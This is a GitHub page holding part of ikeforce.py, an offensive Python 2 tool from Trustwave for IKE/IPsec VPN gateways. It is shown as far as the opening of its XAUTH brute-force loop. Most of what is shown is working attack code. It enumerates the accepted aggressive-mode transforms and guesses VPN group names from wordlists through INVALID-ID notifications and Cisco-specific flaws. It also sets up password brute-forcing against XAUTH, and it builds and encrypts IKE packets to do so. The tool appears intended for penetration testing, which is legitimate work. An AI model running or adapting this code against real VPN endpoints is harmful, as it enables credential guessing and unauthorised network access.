This repository has been archived by the owner on Aug 7, 2020. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 73
/
ikeforce.py
executable file
·3615 lines (3133 loc) · 173 KB
/
ikeforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
#IKEForce
#Created by Daniel Turner [email protected]
#Copyright (C) 2014 Trustwave Holdings, Inc.
#This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
#This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
#You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,threading,time,SocketServer,struct,array,select,socket
import ikeclient
import dh
import ikehandler
import ikecrypto
import vid
from optparse import OptionParser
from termios import tcflush, TCIOFLUSH
import itertools
usageString = "Usage: %prog [target] [mode] -w /path-to/wordlist.txt [optional] -t 5 1 1 2\nExample: %prog 192.168.1.110 -e -w groupnames.txt"
parser = OptionParser(usage=usageString)
parser.add_option("-w","--wordlist",dest="wordlist",default=None,type="string",help="Path to wordlist file")
parser.add_option("-t","--trans",dest="trans",default=None,help="[OPTIONAL] Transform set: encryption type, hash type, authentication type, dh group (5 1 1 2)",nargs=4,type="int")
parser.add_option("-e","--enum",dest="enum",default=None,action="store_true",help="Set Enumeration Mode")
parser.add_option("-a","--all",dest="all",default=None,action="store_true",help="Set Transform Set Enumeration Mode")
parser.add_option("-b","--brute",dest="brute",default=None,action="store_true",help="Set XAUTH Brute Force Mode")
parser.add_option("-k","--psk",dest="psk",default=None,type="string",help="Pre Shared Key to be used with Brute Force Mode")
parser.add_option("-i","--id",dest="id",default=None,type="string",help="ID or group name. To be used with Brute Force Mode")
parser.add_option("-u","--username",dest="username",default=None,type="string",help="XAUTH username to be used with Brute Force Mode")
parser.add_option("-U","--userlist",dest="userlist",default=None,type="string",help="[OPTIONAL] XAUTH username list to be used with Brute Force Mode")
parser.add_option("-p","--password",dest="password",default=None,type="string",help="XAUTH password to be used with Connect Mode")
parser.add_option("--sport",dest="sport",default=500,type="int",help="Source port to use, default is 500")
parser.add_option("-d","--debug",dest="debug",default=None,action="store_true",help="Set debug on")
parser.add_option("-c","--connect",dest="connect",default=None,action="store_true",help="Set Connect Mode (test a connection)")
parser.add_option("-y","--idtype",dest="idtype",default=None,type="int",help="[OPTIONAL] ID Type for Identification payload. Default is 2 (FQDN)")
parser.add_option("-s","--speed",dest="speed",default=3,type="int",help="[OPTIONAL] Speed of guessing attempts. A numerical value between 1 - 5 where 1 is faster and 5 is slow. Default is 3")
parser.add_option("-l","--keylen",dest="keylen",default=None,type="int",help="[OPTIONAL] Key Length, for use with AES encryption types")
parser.add_option("-v","--vendor",dest="vendor",default=None,type="string",help="[OPTIONAL] Vendor Type (cisco or watchguard currently accepted)")
parser.add_option("--version",dest="version",default=None,type="int",help="[OPTIONAL] IKE verison (default verison 1)")
(opts,args) = parser.parse_args()
usage = "Usage: %s [target] [mode] -w /path-to/wordlist.txt [optional] -t 5 1 1 2"%sys.argv[0]
if len(sys.argv) < 2:
print usage
exit(0)
targetIP = sys.argv[1]
wordlist = opts.wordlist
wordcount = 0
passcount = 0
usercount = 0
enum = opts.enum
all = opts.all
brute = opts.brute
psk = opts.psk
IDdata = opts.id
username = opts.username
userlist = opts.userlist
password = opts.password
debug = opts.debug
connect = opts.connect
trans = opts.trans
idType = opts.idtype
vendorType = opts.vendor
version = opts.version
try:
opts.sport
sport = opts.sport
except:
sport = 500
if debug == True:
print "[+]Debugging Enabled"
debug = 1
else:
debug = 0
dicVIDs = vid.dicVIDs
try:
version
except:
version = "20"
#Check required arguments are provided
if enum == True:
print "[+]Program started in Enumeration Mode"
if debug > 0:
print "Ensure the device accepts the selected Transform Set as this may cause inaccurate results"
if targetIP != None:
pass
else:
print usage
print "Target IP address argument required"
exit(0)
if wordlist != None:
wordsfile = open(wordlist, "r")
pass
else:
print usage
print "Group/ID wordlist required for Enumeration Mode"
exit(0)
elif all == True:
print "[+]Program started in Transform Set Enumeration Mode"
if targetIP != None:
pass
else:
print usage
print "Target IP address argument required"
exit(0)
elif brute == True:
print "[+]Program started in XAUTH Brute Force Mode"
if userlist != None:
print "[+]Userlist provided - brute forcing usernames and passwords\nPress return for a status update"
else:
print "[+]Single user provided - brute forcing passwords for user: %s\nPress return for a status update"%username
if targetIP != None:
pass
else:
print usage
print "-t Target IP address argument required"
exit()
if wordlist != None:
wordsfile = open(wordlist, "r")
pass
else:
print usage
print "Password wordlist required for Brute Force Mode"
exit()
if userlist != None:
userlist = open(userlist, "r")
pass
if IDdata != None:
pass
else:
print usage
print "ID/Group name required for Brute Force Mode"
exit()
if psk == None:
print usage
print "PSK required for Brute Force Mode"
exit()
if username != None or userlist != None:
pass
else:
print usage
print "Username required for Brute Force Mode"
exit()
elif connect == True:
print "[+]Program started in Test Mode\n"
if targetIP != None:
pass
else:
print usage
print "-t Target IP address argument required"
exit()
if IDdata != None:
pass
else:
print usage
print "ID/Group name required for Test Mode"
exit()
if psk == None:
print usage
print "PSK required for Test Mode"
exit()
if username != None:
pass
else:
print usage
print "XAUTH username required for Test Mode"
exit()
else:
print usage
print "-e, -a, or -b (mode) argument required"
exit()
try:
socket.inet_aton(targetIP)
except socket.error:
print usage
print "Target IP address required as first argument"
exit()
if idType:
idType = hex(idType)[2:].zfill(2)
else:
idType = "02"
if trans:
encType = hex(trans[0])[2:].zfill(2)
hashType = hex(trans[1])[2:].zfill(2)
authType = hex(trans[2])[2:].zfill(4)
DHGroup = hex(trans[3])[2:].zfill(2)
pass
else:
#Use static transform values if none are provided
encType = "05" #3DES
hashType = "md5"
authType = "FDE9" #Xauth pre shared key (65001)
DHGroup = "02" #Diffie Hellman Group 2
pass
if opts.speed:
speed = opts.speed
else:
speed = 3
packets = []
dupPackets = []
dicCrypto = {}
if encType == "3DES-CBC" or encType == "05" or encType == 5:
keyLen = 24
IVlen = 16
if encType == "DES-CBC" or encType == "01" or encType == 1:
keyLen = 8
IVlen = 16
if encType == "AES-CBC" or encType == "07" or encType == 7:
if opts.keylen == None:
keyLen = 16 #length 16 but 32 for our purposes as the processing uses hex encoded values
else:
keyLen = opts.keylen / 8
IVlen = 32
enumType = ""
class IKERequestHandler(SocketServer.BaseRequestHandler):
def handle(self):
data,sock = self.request
curThread = threading.currentThread()
response = "%s: %s"%(curThread.getName(), data)
hexPacket = data.encode('hex')
if hexPacket in packets:
indexPacket = int(packets.index(hexPacket)) + 1
dupPackets.append(hexPacket)
if debug > 0:
print "\n--------------------Received Packet Number: %s--------------------\n"%(len(packets)+len(dupPackets))
print "Duplicate of packet %s, discarding"%indexPacket
print "Duplicate packet count: %s"%len(dupPackets)
else:
packets.append(hexPacket)
if debug > 0:
print "\n--------------------Received Packet Number: %s--------------------\n"%(len(packets)+len(dupPackets))
print packets[-1] + "\n"
return
class ThreadedIKEServer(SocketServer.ThreadingMixIn, SocketServer.UDPServer):
pass
if __name__ == '__main__':
port = 500
address = ('0.0.0.0', sport)
server = ThreadedIKEServer(address, IKERequestHandler)
try:
t = threading.Thread(target=server.serve_forever)
t.daemon = True
if debug > 0:
print 'IKE Server running in %s'%t.getName()
t.start()
while True:
if all:
IDdata = "ANYID"
ikeneg = ikeclient.IKEv1Client(debug)
ikeCrypto = ikecrypto.ikeCrypto()
print "[+]Checking for acceptable Transforms\n"
print "============================================================================================\nAccepted (AM) Transform Sets\n============================================================================================"
#Temporary dictionary of DH groups currently supported by IKEForce. This will probably be permanent as most hosts that use AM will not be able to or will be not be bothered to use large primes ;)
DHGroups = dicDHGroup = {'1':'default 768-bit MODP group','2':'alternate 1024-bit MODP group'}
#Iterate through all combinations of the Transform dictionaries
for i in itertools.product(ikeneg.dicEType, ikeneg.dicHType, ikeneg.dicAType, DHGroups):
#try:
encType = i[0].zfill(2)
hashType = i[1].zfill(2)
authType = hex(int(i[2]))[2:].zfill(4)
DHGroup = i[3].zfill(2)
if debug > 0:
print "Trying Set:%s"%str(i)
if len(packets) == 0:
if debug > 0:
print "\n--------------------Sending initial packet--------------------"
#try:
# iCookie
#except:
iCookie = ikeneg.secRandom(8).encode('hex')
try:
rCookie
except:
rCookie = "0000000000000000"
initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen)
dicCrypto = initDict
if debug > 0:
print "Waiting for response..."
countTime = 0
while len(packets) < 1:
time.sleep(float(speed)/10)
if countTime > 25:
break
countTime += 1
if len(packets) == 1:
#Process Header first
ikeHandling = ikehandler.IKEv1Handler(debug)
ikeHDR = ikeHandling.parseHeader(packets[-1])
#Check the packet is for this session
if ikeHDR[1] == dicCrypto["iCookie"]:
pass
else:
if debug > 0:
print "Packet received does not match this session, this is probably from a previous incarnation."
print "Removing packet"
del packets[0]
continue
respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType)
#Check if packet is informational
if respDict["xType"] == 5:
if int(respDict["notmsgType"]) == 14:
if debug > 0:
print "[-] Notify Message Received: %s"%ikeHandling.dicNotType[str(respDict["notmsgType"])]
print "[-] Invalid Transform Set selected\n"
del packets[:]
else:
if debug > 0:
try:
print "[-] Notify Message Received: %s"%ikeHandling.dicNotType[str(respDict["notmsgType"])]
except:
print "[-] Unknown Notify Type received: %s"%respDict["notmsgType"]
del packets[:]
elif respDict["xType"] == 4:
print "| %s : %s | %s : %s | %s : %s | %s : %s |\n--------------------------------------------------------------------------------------------"%(i[0], ikeneg.dicEType[i[0]], i[1], ikeneg.dicHType[i[1]], i[2], ikeneg.dicAType[i[2]], i[3], dicDHGroup[i[3]])
del packets[:]
continue
print "============================================================================================"
exit()
elif enum:
wordline = 0
IDdata = "thiSIDDoesnotexit33349204"
psk = "anypskthatdoesnotexistfhfhssi575"
ikeneg = ikeclient.IKEv1Client(debug)
ikeCrypto = ikecrypto.ikeCrypto()
print "[+]Checking for possible enumeration techniques"
if len(packets) == 0:
if debug > 0:
print "\n--------------------Sending initial packet - this will help decide which enumeration technnique to use--------------------"
try:
iCookie
except:
iCookie = ikeneg.secRandom(8).encode('hex')
try:
rCookie
except:
rCookie = "0000000000000000"
initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen)
dicCrypto = initDict
print "Analyzing initial response. Please wait, this can take up to 15 seconds..."
#Count lines in wordlist for later use
for w in wordsfile:
wordcount += 1
wordsfile.seek(0)
countTime = 0
while len(packets) < 1:
time.sleep(1)
if countTime > 10:
break
countTime += 1
#First device check, checking for response packet
if len(packets) == 0:
if debug > 0:
print "--------------------No response received-------------------"
enumType = "Generic"
print "[+]Using Generic enumeration technique. Where no initial response is received for an incorrect ID and the handshake is continued if correct"
raw_input("[+]WARNING - This method is the least reliable, the device may genuinely not accept aggressive mode connections.\nHowever, some devices do allow enumeration in this way - Watchguard devices for example. Note that these devices use ID type 3 not the default of 2. Set with -y 3.\n[+]Press return to accept and continue.\n")
print "[+]Generic enumeration technique running..."
print "Press return for a status update"
#First count words in file for status update
for w in wordsfile:
wordcount += 1
wordsfile.seek(0)
#Use generic enumeration technique
for w in wordsfile:
wordline += 1
IDdata = w.strip()
#Print update if return is pressed
readInput = [sys.stdin]
inp = select.select(readInput, [], [], 0.1)[0]
if inp:
percent = wordline / float(wordcount) * 100
print "Current Guess: %s (%s%%)\n"%(IDdata,int(percent))
tcflush(sys.stdin, TCIOFLUSH)
else:
pass
if debug > 0:
print "\n--------------------Sending first Aggressive Mode packet with ID: %s--------------------"%IDdata
initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen)
time.sleep(speed)
if len(packets) > 0:
ikeHandling = ikehandler.IKEv1Handler(debug)
respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType)
print "[*]Correct ID Found: %s\n"%IDdata
time.sleep(2)
exit()
else:
if debug > 0:
print "[-] ID Incorrect"
print "Restarting...\n"
del packets[:]
continue
print "[-]ID not found, try another wordlist. Exiting...\n"
time.sleep(2)
exit()
if len(packets) == 1:
if debug > 0:
print "Response received, processing packet..."
flags = "01"
ikeHandling = ikehandler.IKEv1Handler(debug)
respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType)
#Check if packet is informational
if respDict["xType"] == 5:
if int(respDict["notmsgType"]) == 18:
enumType = "Info"
print "[+]Device allows enumeration via 'INVALID-ID-INFORMATION' response"
elif int(respDict["notmsgType"]) == 14:
print "[-] Invalid Transform Set selected. Run the tool again with the -a flag to enumerate all accepted AM transform sets"
exit()
else:
try:
print "[-] Notify Message Received: %s"%ikeHandling.dicNotType[str(respDict["notmsgType"])]
except:
print "[-] Unknown Notify Type received: %s"%respDict["notmsgType"]
exit()
#Begin enumeration (Info)
if enumType == "Info":
print "Restarting...\n"
print "[+]Using Invalid ID Notification Enumeration Technique"
print "Press return for a status update"
del packets[:]
#First count words in file for status update
for w in wordsfile:
wordcount += 1
wordsfile.seek(0)
while len(packets) <= 2:
for w in wordsfile:
wordline += 1
IDdata = w.strip()
readInput = [sys.stdin]
inp = select.select(readInput, [], [], 0.1)[0]
if inp:
percent = wordline / float(wordcount) * 100
print "Current Guess: %s (%s%%)\n"%(IDdata,int(percent))
tcflush(sys.stdin, TCIOFLUSH)
else:
pass
if len(packets) == 0: #do we actually need this prob not?
iCookie = ikeneg.secRandom(8).encode('hex')
rCookie = "0000000000000000"
if debug > 0:
print "\n--------------------Sending first Aggressive Mode packet with ID: %s--------------------"%IDdata
initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen)
dicCrypto = dict(initDict.items())
time.sleep(speed)
if len(packets) == 1:
#Parse full packet
respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType)
#Update state/crypto dictionary
dicCrypto.update(respDict)
if dicCrypto["xType"] == 4:
print "[*]Correct ID Found: %s\n"%IDdata
time.sleep(2)
exit()
elif dicCrypto["xType"] == 5 and dicCrypto["notmsgType"] == 18:
del packets[:]
continue
elif dicCrypto["xType"] == 5:
print "[*]Potential Correct ID Found: %s\n"%IDdata
print "However, a notification payload was received. This may be due to an invalid Transform Set or other error. To be sure try a connection with a valid Transform Set."
time.sleep(2)
exit()
print "[-]ID not found, try another wordlist. Exiting...\n"
time.sleep(2)
exit()
else:
pass
#Enumerate the device type and decide what technique to use for ID/group enumeration
for i in listVIDs:
try:
if debug > 0:
print "VID received: %s (%s)"%(dicVIDs[i], i)
if "Cisco" in dicVIDs[i]:
enumType = "Cisco"
except:
if debug > 0:
print "Unknown VID received: %s"%i
pass
if enumType == "Cisco":
print "\n[+]Cisco Device detected"
for i in listVIDs:
try:
if "Dead Peer" in dicVIDs[i]:
print "[-]Not vulnerable to DPD group name enumeration"
time.sleep(10)
if len(packets) + len(dupPackets) > 1:
print "[-]Not vulnerable to multiple response group name enumeration. Device is fully patched. Exiting...\n"
exit()
else:
print "[+]Device is vulnerable to multiple response group name enumeration"
enumType = "Cisco2"
break
else:
enumType = "Cisco1"
pass
except TypeError:
print "FAILED"
pass
else:
print "[-]No matching enumeration technique available for this device."
time.sleep(2)
exit()
#Combine the dictionaries from sent packet and received packet
dicCrypto.update(respDict)
#Pull the useful values from stored dictionary for crypto functions
nonce_i = dicCrypto["nonce_i"]
DHPubKey_i = dicCrypto["DHPubKey_i"]
nonce_r = dicCrypto["nonce_r"]
ID_i = dicCrypto["ID_i"]
ID_r = dicCrypto["ID_r"]
rCookie = dicCrypto["rCookie"]
xType = dicCrypto["xType"]
msgID = dicCrypto["msgID"]
privKey = dicCrypto["privKey"]
DHPubKey_r = dicCrypto["DHPubKey_r"]
SA_i = dicCrypto["SA_i"]
#Check exchange type is in the right format
try:
xType = hex(xType)[2:].zfill(2)
except:
pass
#Begin enumeration (Cisco1)
if enumType == "Cisco1":
print "Restarting...\n"
print "[+]Using DPD Cisco Group Enumeration Technique"
print "Press return for a status update"
del packets[:]
#First count words in file for status update
for w in wordsfile:
wordcount += 1
wordsfile.seek(0)
while len(packets) <= 1:
for w in wordsfile:
wordline += 1
IDdata = w.strip()
readInput = [sys.stdin]
inp = select.select(readInput, [], [], 0.1)[0]
if inp:
percent = wordline / float(wordcount) * 100
print "Current Guess: %s (%s%%)\n"%(IDdata,int(percent))
tcflush(sys.stdin, TCIOFLUSH)
else:
pass
if len(packets) == 0: #do we actually need this prob not?
iCookie = ikeneg.secRandom(8).encode('hex')
rCookie = "0000000000000000"
if debug > 0:
print "\n--------------------Sending first Aggressive Mode packet with ID: %s--------------------"%IDdata
initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen)
dicCrypto = dict(initDict.items())
time.sleep(speed)
try:
respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType)
for i in listVIDs:
if "afcad71368a1f1c96b8696fc7" in str(i): #DPD VID
print "[*]Correct ID Found: %s\n"%IDdata
time.sleep(2)
exit()
else:
pass
del packets[:]
del listVIDs[:]
continue
except IndexError:
if debug > 0:
print "[*] Potential Correct ID Found: %s. However this Group/ID probably does not have a PSK associated with it and the handshake will not complete. Continuing...\n"%IDdata
pass
print "[-]ID not found, try another wordlist. Exiting...\n"
time.sleep(2)
exit()
#Begin enumeration (Cisco2)
if enumType == "Cisco2":
print "Restarting...\n"
print "[+]Using New Cisco Group Enumeration Technique"
print "Press return for a status update"
del packets[:]
#First count words in file for status update
for w in wordsfile:
wordcount += 1
wordsfile.seek(0)
while len(packets) <= 2:
for w in wordsfile:
wordline += 1
IDdata = w.strip()
readInput = [sys.stdin]
inp = select.select(readInput, [], [], 0.1)[0]
if inp:
percent = wordline / float(wordcount) * 100
print "Current Guess: %s (%s%%)\n"%(IDdata,int(percent))
tcflush(sys.stdin, TCIOFLUSH)
else:
pass
if len(packets) == 0: #do we actually need this prob not?
iCookie = ikeneg.secRandom(8).encode('hex')
rCookie = "0000000000000000"
if debug > 0:
print "\n--------------------Sending first Aggressive Mode packet with ID: %s--------------------"%IDdata
initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen)
dicCrypto = dict(initDict.items())
time.sleep(speed)
if len(packets) < 1:
time.sleep(4)
if len(packets) < 1:
if debug > 0:
print "[*] Potential Correct ID Found: %s. However this Group/ID does not have a PSK associated with it. Continuing...\n"%IDdata
continue
else:
pass
if len(packets) == 1:
#Process Header first
ikeHandling = ikehandler.IKEv1Handler(debug)
ikeHDR = ikeHandling.parseHeader(packets[-1])
#Check the packet is for this session
if ikeHDR[1] == dicCrypto["iCookie"]:
pass
else:
if debug > 0:
print "Packet received does not match this session, this is probably from a previous incarnation"
print "Removing packet"
del packets[-1]
continue
try:
respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType)
except IndexError:
if debug > 0:
print "[*]Potential Correct ID Found: %s. However this Group/ID probably does not have a PSK associated with it and the handshake will not complete. Continuing...\n"%IDdata
continue
dicCrypto.update(respDict)
#Pull the useful values from stored dictionary for crypto functions
nonce_i = dicCrypto["nonce_i"]
DHPubKey_i = dicCrypto["DHPubKey_i"]
nonce_r = dicCrypto["nonce_r"]
ID_i = dicCrypto["ID_i"]
ID_r = dicCrypto["ID_r"]
rCookie = dicCrypto["rCookie"]
xType = dicCrypto["xType"]
msgID = dicCrypto["msgID"]
privKey = dicCrypto["privKey"]
DHPubKey_r = dicCrypto["DHPubKey_r"]
SA_i = dicCrypto["SA_i"]
#Check exchange type is in the right format
try:
xType = hex(xType)[2:].zfill(2)
except:
pass
#Construct final aggressive mode exchange packet
if debug > 0:
print "Processing response..."
#Run Crypto Functions - DH first
ikeDH = dh.DiffieHellman(DHGroup)
secret = ikeDH.genSecret(privKey,int(DHPubKey_r,16))
hexSecret = '{0:x}'.format(secret)#using new formating to deal with long int
if len(hexSecret) % 2 != 0:
#Odd length string fix/hack
hexSecret = "0" + hexSecret
if debug > 0:
print "SA_i: %s"%SA_i
print "Secret: %s"%secret
print "Hexlified Secret: %s"%hexSecret
skeyid = ikeCrypto.calcSKEYID(psk, nonce_i.decode('hex'), nonce_r.decode('hex'), hashType)
hash_i = ikeCrypto.calcHASH(skeyid, DHPubKey_r.decode('hex'), DHPubKey_i.decode('hex'), rCookie.decode('hex'), iCookie.decode('hex'), SA_i.decode('hex'), ID_r.decode('hex'), ID_i.decode('hex'),"i",hashType)
hash_r = ikeCrypto.calcHASH(skeyid, DHPubKey_r.decode('hex'), DHPubKey_i.decode('hex'), rCookie.decode('hex'), iCookie.decode('hex'), SA_i.decode('hex'),ID_r.decode('hex'), ID_i.decode('hex'),"r",hashType)
skeyid_d = ikeCrypto.calcSKEYID_d(skeyid, hexSecret.decode('hex'), iCookie.decode('hex'), rCookie.decode('hex'), hashType)
skeyid_a = ikeCrypto.calcSKEYID_a(skeyid, skeyid_d, hexSecret.decode('hex'), iCookie.decode('hex'), rCookie.decode('hex'), hashType)
skeyid_e = ikeCrypto.calcSKEYID_e(skeyid, skeyid_a, hexSecret.decode('hex'), iCookie.decode('hex'), rCookie.decode('hex'), hashType)
if len(skeyid_e) < keyLen:
encKey = ikeCrypto.calcKa(skeyid_e, keyLen, hashType)
if debug > 0:
print "Encryption Key: %s"%encKey.encode('hex')
else:
encKey = skeyid_e[:keyLen]
if debug > 0:
print "Encryption Key: %s"%encKey.encode('hex')
initIV = ikeCrypto.calcIV(DHPubKey_i.decode('hex'),DHPubKey_r.decode('hex'), IVlen, hashType)
dicCrypto["skeyid"] = skeyid
dicCrypto["skeyid_a"] = skeyid_a
dicCrypto["skeyid_d"] = skeyid_d
dicCrypto["skeyid_e"] = skeyid_e
dicCrypto["encKey"] = encKey
dicCrypto["initIV"] = initIV
#Hash payload
arrayHash = ikeneg.ikeHash("0d",hash_i)#next payload 11 = notification
lenHash = len(arrayHash)
bytesHash = struct.pack(("B"*lenHash),*arrayHash)
#VID payload
arrayVID = ikeneg.ikeVID("00","09002689dfd6b712")
lenVID = len(arrayVID)
bytesVID = struct.pack(("B"*lenVID),*arrayVID)
#Encrypt everything but the header
plainData = (bytesHash+bytesVID)
plainPayload = ikeCrypto.calcPadding(encType, plainData)
if debug > 0:
print "Plain-text Payload: %s"%plainPayload.encode('hex')
cipher = ikeCrypto.ikeCipher(encKey, initIV, encType)
encPayload = cipher.encrypt(plainPayload)
if debug > 0:
print "Encrypted Payload: %s"%encPayload.encode('hex')
arrayencPayload = array.array('B', encPayload)
lenencPayload = len(arrayencPayload)
bytesencPayload = struct.pack(("B"*lenencPayload),*arrayencPayload)
arrayHDR = ikeneg.ikeHeader("08",iCookie,rCookie,version,flags,xType,msgID,bytesencPayload.encode('hex'))#next payload is always hash (08)
lenHDR = len(arrayHDR)
bytesHDR = struct.pack(("B"*lenHDR),*arrayHDR)
bytesIKE = bytesHDR+bytesencPayload
if debug > 0:
print "\n--------------------Sending second (encrypted) Aggressive Mode packet--------------------"
ikeneg.sendPacket(bytesIKE,targetIP,sport,port)
dicCrypto["p2IV"] = bytesIKE.encode('hex')[-IVlen:]
dicCrypto["lastBlock"] = bytesIKE.encode('hex')[-IVlen:]#phase 2 IV and last block are the same at this point
time.sleep(speed)
if len(packets) > 1:
#Parse the header first
ikeHandling = ikehandler.IKEv1Handler(debug)
ikeHDR = ikeHandling.parseHeader(packets[1])
#Check the packet is for this session
if ikeHDR[1] == dicCrypto["iCookie"]:
pass
else:
if debug > 0:
print "Packet received does not match this session, this is probably from a previous incarnation."
print "Removing packet"
del packets[-1]
continue
try:
if ikeHDR[5] == dicCrypto["msgID"]:
if debug > 0:
print "Message ID has not changed"
curIV = dicCrypto["lastBlock"].decode('hex')
pass
else:
if debug > 0:
print "Message ID has changed, recalculating IV"
msgID = ikeHDR[5]
curIV = ikeCrypto.calcIV(dicCrypto["p2IV"].decode('hex'), msgID.decode('hex'), IVlen, hashType)
pass
except:
print "Invalid Message ID, too many concurrent sessions running. Wait 30 seconds and try again.\nExiting"
exit()
#Parse full packet
respDict,listVIDs = ikeHandling.main(packets[-1],encType,hashType,encKey,initIV,curIV)
#Update state/crypto dictionary
dicCrypto.update(respDict)
if dicCrypto["xType"] == "05" or 5:
print "[*]Correct ID Found: %s\n"%IDdata
time.sleep(2)
exit()
else:
if debug > 0:
print "Packet received does not match this session, this is probably from a previous incarnation."
print "Removing packet"
del packets[-1]
continue
else:
if debug > 0:
print "No further responses received\n"
print "[-] ID Incorrect"
print "Restarting...\n"
del packets[:]
print "[-]ID not found, try another wordlist. Exiting...\n"
time.sleep(2)
exit()
else:
print "No enumeration technique matched. Exiting...\n"
time.sleep(2)
exit()
elif brute:
#Run XAUTH brute force
#First count the lines in the file due to the way python handles EOF and the way we need to reset the connection after 3 attempts for cisco
for w in wordsfile:
wordcount += 1
wordsfile.seek(0)
ikeneg = ikeclient.IKEv1Client(debug)
ikeCrypto = ikecrypto.ikeCrypto()
if userlist != None:
for u in userlist:
usercount += 1
userlist.seek(0)
for u in userlist:
passcount = 0
wordsfile.seek(0)
username = u.strip()
while passcount < wordcount:
if len(packets) == 0:
if debug > 0:
print "\n--------------------Sending first Aggressive Mode packet--------------------"
try:
iCookie
except:
iCookie = ikeneg.secRandom(8).encode('hex')
try:
rCookie
except:
rCookie = "0000000000000000"
initDict = ikeneg.main(iCookie,rCookie,encType,hashType,authType,DHGroup,IDdata,"00",targetIP,idType,sport,keyLen)
time.sleep(speed)
if len(packets) == 0:
print "No response received, exiting...\n"
time.sleep(2)
exit()
dicCrypto = dict(initDict.items())
while len(packets) < 1:
time.sleep(0.5)
if len(packets) == 1:
if debug > 0:
print "Response received, processing packet..."
#Parse the header first
